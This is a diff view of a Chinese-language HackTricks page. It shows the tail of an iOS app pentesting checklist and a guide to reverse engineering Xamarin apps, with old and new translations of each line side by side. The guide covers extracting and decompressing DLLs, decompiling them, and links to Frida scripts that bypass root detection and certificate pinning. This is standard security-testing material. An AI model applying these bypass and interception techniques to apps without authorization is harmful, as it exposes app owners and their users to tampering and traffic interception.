* [ ] 监控剪贴板,查看是否有任何**敏感数据被复制**
|
||||
* [**应用扩展**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] 应用程序是否**使用了任何扩展**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] 检查正在使用的WebViews的类型
|
||||
* [ ] 检查**`javaScriptEnabled`**,**`JavaScriptCanOpenWindowsAutomatically`**,**`hasOnlySecureContent`**的状态
|
||||
* [ ] 检查Webview是否可以通过**file://**协议**访问本地文件**(`allowFileAccessFromFileURLs`,`allowUniversalAccessFromFileURLs`)
|
||||
* [ ] 检查Javascript是否可以访问**本地**的**方法**(`JSContext`,`postMessage`)
|
||||
* [ ] 检查正在使用哪种类型的 webviews
|
||||
* [ ] 检查**`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`** 的状态
|
||||
* [ ] 检查 webview 是否可以使用协议 **file://** **访问本地文件**(`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] 检查 Javascript 是否可以访问**原生**方法(`JSContext`, `postMessage`)
|
||||
|
||||
### 网络通信
|
||||
|
||||
* [ ] 对通信进行[**中间人攻击**](ios-pentesting/#network-communication)并搜索Web漏洞。
|
||||
* [ ] 检查证书的[**主机名**](ios-pentesting/#hostname-check)
|
||||
* [ ] 检查/绕过[**证书固定**](ios-pentesting/#certificate-pinning)
|
||||
* [ ] 对[**通信进行 MitM**](ios-pentesting/#network-communication)并搜索网络漏洞。
|
||||
* [ ] 检查是否核对了[**证书的主机名**](ios-pentesting/#hostname-check)
|
||||
* [ ] 检查/绕过[**证书锁定**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
### **其他**
|
||||
### **杂项**
|
||||
|
||||
* [ ] 检查是否存在[**自动修补/更新**](ios-pentesting/#hot-patching-enforced-updateing)机制
|
||||
* [ ] 检查是否存在[**恶意第三方库**](ios-pentesting/#third-parties)
|
||||
* [ ] 检查[**自动修补/更新**](ios-pentesting/#hot-patching-enforced-updateing)机制
|
||||
* [ ] 检查[**恶意第三方库**](ios-pentesting/#third-parties)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 渗透测试,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中**为您的公司做广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
其他支持 HackTricks 的方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,81 +2,83 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **基本信息**
|
||||
|
||||
Xamarin 是一个开源平台,为开发者提供了一系列工具和附加组件,允许他们使用 .NET 和 C# 框架**创建现代的iOS、Android和Windows应用程序**。
|
||||
Xamarin 是一个开源平台,为开发者提供了一系列全面的工具和附加组件,允许他们使用 .NET 和 C# 框架**创建现代的 iOS、Android 和 Windows 应用程序**。
|
||||
|
||||
### Xamarin Android 架构
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Xamarin 提供了对 Android.\* 和 Java.\* 命名空间的 .NET 绑定。Xamarin.
|
||||
Xamarin 提供了对 Android.\* 和 Java.\* 命名空间的 .NET 绑定。Xamarin。
|
||||
|
||||
Android 应用程序在 Mono 执行环境下运行,与 Android Runtime (ART) 虚拟机并行运行。
|
||||
Android 应用程序在 Mono 执行环境下运行,与 Android 运行时 (ART) 虚拟机并行运行。
|
||||
|
||||
Mono 执行环境通过 Managed Callable Wrappers (MCW) 调用这些命名空间,并为 ART 提供 Android Callable Wrappers (ACW)。
|
||||
Mono 执行环境通过托管可调用包装器 (MCW) 调用这些命名空间,并为 ART 提供 Android 可调用包装器 (ACW)。
|
||||
|
||||
这两个环境都在 Linux 内核之上运行,并调用各种 API 到用户代码。这种安排允许开发者访问底层系统。
|
||||
|
||||
### Xamarin iOS 项目
|
||||
|
||||
Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用完整的 Ahead of Time (AOT) 编译将 C# .NET 代码编译为 ARM 汇编语言。
|
||||
Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用完整的提前编译 (AOT) 将 C# .NET 代码编译为 ARM 汇编语言。
|
||||
|
||||
它与 Objective-C 运行时一起运行。运行时环境在类 UNIX 内核之上运行,并调用多个 API 到用户代码,这允许开发者访问底层的托管或本地系统。
|
||||
它与 Objective-C 运行时一起运行。运行时环境在类 UNIX 内核之上运行,并调用多个 API 到用户代码,这使得开发者可以访问底层的托管或本地系统。
|
||||
|
||||
下面给出的图表描述了这种架构:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 什么是 .Net 运行时和 Mono 框架?
|
||||
|
||||
**.Net 框架是一组程序集、类和命名空间**,开发者可以使用它们来创建应用程序;.Net 运行时运行编译后的代码,这个过程称为托管代码执行。.NET 运行时提供了多种特性,确保了平台独立性,并且与旧版本的框架兼容。
|
||||
**.Net 框架是一组程序集、类和命名空间**,开发者可以使用它们来创建应用程序;.Net 运行时运行编译后的代码,这个过程称为托管代码执行。.NET 运行时提供了多种特性,确保了平台独立性,并且与旧版框架版本兼容。
|
||||
|
||||
**Mono 框架**始于2005年,是 Linux (Ximian/SuSe/Novell) 上 .NET 框架的实现。在 Microsoft 的赞助和 Xamarin 的领导下,Mono 是基于 ECMA 标准的 Common Language Runtime 和 C# 的 .NET 框架的开源实现。
|
||||
**Mono 框架**始于 2005 年,是 Linux (Ximian/SuSe/Novell) 上 .NET 框架的实现。在 Microsoft 的赞助和 Xamarin 的领导下,Mono 是基于 ECMA 标准的通用语言运行时和 C# 的 .NET 框架的开源实现。
|
||||
|
||||
## Xamarin 应用程序的逆向工程技术
|
||||
|
||||
### Xamarin 程序集的反编译
|
||||
|
||||
反编译是从编译代码生成源代码的过程。要获取有关当前内存中的程序集和可执行文件的信息,Windows 是一个绝佳的地方。
|
||||
反编译是从编译代码生成源代码的过程。要获取有关当前在内存中的程序集和可执行文件的信息,Windows 是一个绝佳的地方。
|
||||
|
||||
要打开模块窗口,请选择 Debug > Windows > Modules。一旦您检测到需要反编译的模块,右键单击并选择“Decompile Source to Symbol File”。这个操作**创建了一个包含反编译源的符号文件**,反过来,让您可以直接从您的源代码进入第三方代码。
|
||||
要打开模块窗口,请选择调试 > 窗口 > 模块。一旦您检测到需要反编译的模块,右键单击并选择“反编译源到符号文件”。这个操作**创建了一个包含反编译源的符号文件**,反过来,让您可以直接从您的源代码进入第三方代码。
|
||||
|
||||
**Visual Studio**即使没有符号,也能反编译托管代码,允许您查看代码,检查变量并设置断点。要将源代码提取到磁盘,请右键单击嵌入源的模块并点击“Extract Embedded Source”。这将导出源文件到 Miscellaneous files 文件夹以供进一步分析。
|
||||
**Visual Studio** 即使在没有符号的情况下也可以反编译托管代码,允许您查看代码,检查变量并设置断点。要将源代码提取到磁盘,请右键单击嵌入源的模块并点击“提取嵌入源。”这将导出源文件到杂项文件夹以供进一步分析。
|
||||
|
||||
### Xamarin 应用程序的 JIT 与 AOT 编译
|
||||
|
||||
这两个选项用于将基于 C# 的 Xamarin 代码编译成应用程序,即**即时编译和提前编译**。编译方式影响应用程序代码在 apk 或 ipa 文件中的打包方式。让我们快速看一下下面的内容:
|
||||
|
||||
\- **Android**:Xamarin 允许您使用**android的 JIT 和 AOT 标志进行编译**。还有一种方法可以使用 Hybrid AOT 模式在两者之间取得最快的执行速度。请注意,完整的 AOT 模式仅适用于企业许可证。
|
||||
\- **Android**:Xamarin 允许您使用 **android 的 JIT 和 AOT 标志进行编译**。还有一种方法可以在两者之间取得平衡,使用混合 AOT 模式获得最快的执行速度。请注意,完整的 AOT 模式仅适用于企业许可证。
|
||||
|
||||
\- **iOS**:在 iOS 的情况下,只有一种选择,即**提前编译**。这是由于苹果的政策,禁止在设备上执行动态生成的代码。
|
||||
\- **iOS**:在 iOS 的情况下只有一个选项,**提前编译**。这是由于苹果的政策禁止在设备上执行动态生成的代码。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果您遇到一个完整的 AOT 编译应用程序,并且开发者为了减少构建大小而移除了 IL 程序集文件,那么逆向过程需要一个额外的步骤,从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 dll 文件。如果它是一个 Hybrid AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来逆向工程应用程序。
|
||||
如果您遇到一个完整的 AOT 编译应用程序,并且开发者为了减少构建大小而移除了 IL 程序集文件,那么逆向过程需要一个额外的步骤,从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 dll 文件。如果它是一个混合 AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来逆向工程应用程序。
|
||||
{% endhint %}
|
||||
|
||||
## 从 APK/IPA 获取 dll 文件
|
||||
|
||||
只需**解压 apk/ipa** 文件并复制 assemblies 目录下的所有文件:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在 Android **APKs 的情况下,这些 dll 文件是压缩的**,不能直接用于反编译。幸运的是,我们可以使用工具来**解压这些 dll 文件**,如 [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) 和 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)。
|
||||
在 Android **APKs 的情况下,这些 dll 文件是压缩的**,不能直接用于反编译。幸运的是,有一些工具可以帮助我们**解压这些 dll 文件**,如 [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) 和 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)。
|
||||
```
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
在assemblies目录中,你可能会看到`assemblies.blob`和`assemblies.manifest`文件,而不是dll文件。这是一个Xamarin AssemblyStore,是目前推荐用于在Android应用程序中打包dlls的方式。`assemblies.manifest`是一个文本文件,描述了二进制文件`assemblies.blob`的内容。要解包这些文件,你需要使用[pyxamstore](https://github.com/jakev/pyxamstore)。
|
||||
在assemblies目录中,您可能会看到`assemblies.blob`和`assemblies.manifest`文件,而不是dll文件。这是一个Xamarin AssemblyStore,是目前推荐用于在Android应用程序中打包dlls的方式。`assemblies.manifest`是一个文本文件,描述了二进制文件`assemblies.blob`的内容。要解包这些文件,您需要使用[pyxamstore](https://github.com/jakev/pyxamstore)。
|
||||
```
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
|
@ -84,9 +86,9 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
|||
|
||||
**当我们反编译dll文件时,可以找到大部分应用程序代码。** 同时请注意,基于Xamarin框架的应用程序在所有平台(如iOS和Android等)的构建中包含90%的通用代码。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
从上面列出apk中存在的dll文件的截图中,我们可以确认这是一个Xamarin应用。它包含了应用程序特定的dll文件以及运行应用程序所需的库文件,例如`Xamarin.Essentails.dll`或`Mono.Security.dll`。
|
||||
从上面列出apk中存在的dll文件的截图中,我们可以确认这是一个Xamarin应用程序。它包含特定于应用程序的dll文件以及运行应用程序所需的库文件,例如`Xamarin.Essentails.dll`或`Mono.Security.dll`。
|
||||
|
||||
{% hint style="success" %}
|
||||
最后,您可以使用[**这些推荐工具**](../reversing/reversing-tools-basic-methods/#net-decompiler)来访问DLL中的**C#代码**。
|
||||
|
@ -94,9 +96,9 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
|||
|
||||
## 动态分析
|
||||
|
||||
尝试检查应用程序是否有任何形式的SSL固定。如果没有,使用Burp作为系统CA应该可以用于拦截请求。**Frida与Java或ObjC运行时在这里不起作用**,但幸运的是,有一个工具可以用于钩入方法。
|
||||
尝试检查应用程序是否有任何类型的SSL固定。如果没有,使用Burp作为系统CA应该可以用于拦截请求。**Frida与Java或ObjC运行时在这里不起作用**,但幸运的是,有一个工具可以用于钩入方法。
|
||||
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您轻松**修改运行时Xamarin应用程序内的.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法,这些方法可以稍后使用Fridax进行动态分析时钩入。以下是一些Frida脚本,可以帮助我们绕过根检测或SSL固定:
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您轻松**修改运行时Xamarin应用程序中的.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法,这些方法可以稍后使用Fridax进行动态分析时钩入。以下是一些Frida脚本,可以帮助我们绕过根检测或SSL固定:
|
||||
|
||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
|
@ -109,12 +111,14 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作,想在HackTricks中看到您的**公司广告**,或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/)[**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR,**分享您的黑客技巧**。
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue